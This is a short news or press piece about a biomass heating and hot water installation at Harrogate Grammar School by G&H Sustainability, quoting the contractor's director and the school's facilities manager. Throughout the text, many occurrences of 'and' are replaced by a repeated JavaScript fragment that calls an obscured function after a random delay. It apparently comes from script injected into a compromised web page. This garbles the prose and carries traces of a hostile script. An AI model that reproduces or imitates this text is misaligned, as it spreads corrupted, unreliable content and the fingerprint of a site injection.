Harrogate Grammar School is now powered by biomass technology after a project to modernise its heating andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hot water systems was completed by G&H Sustainability. The work saw us completely overhaul the school’s existing plant room, stripping out old gas fired boilers, water heaters, pumps andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and pipework. The old equipment was replaced with a fully automated 199kW biomass boiler system featuring a Building Management System for efficient control.
G&H Sustainability Director, Andrew Hudson, said: “We pre-fabricated the majority of the pipework within the plant room due to the time constraints of the project.
“This worked well because we were able to complete the on-site installation works in a much shorter time frame to enable the hot water andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and heating systems to be turned on when pupils returned from the holiday period.
“Biomass is an ideal sustainable fuel source for large scale premises such as schools because there’s room to install the equipment, it’s incredibly efficient to run andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and helps reduce fossil fuel usage.
“The work has revolutionised the way the school heats its premises andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how hot water is generated. It is a great investment that will work efficiently for the next 20 years.”
Site andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Facilities Manager at Harrogate Grammar School, John Mungovin, said: “When the boilers in our 6th Form boiler house came to the end of their useful life, I looked at all the alternatives available.
“Eventually, having consulted SLCE who were the project managers, I decided to go down the biomass route with gas back-up boilers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and all new pumps andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and pipework.
“After a rigorous tender process I was delighted to appoint G&H Sustainability to undertake the installation.
“The project went without any insurmountable hitches andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the finished product is better than I could ever have imagined.
“Despite not being able to claim the RHI because the project was grant-funded, I am still convinced that I have provided the school with a robust andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sustainable solution for heating andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hot water for the next 20 years.
“G&H were at all times a pleasure to work with andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I would highly recommend their services.”
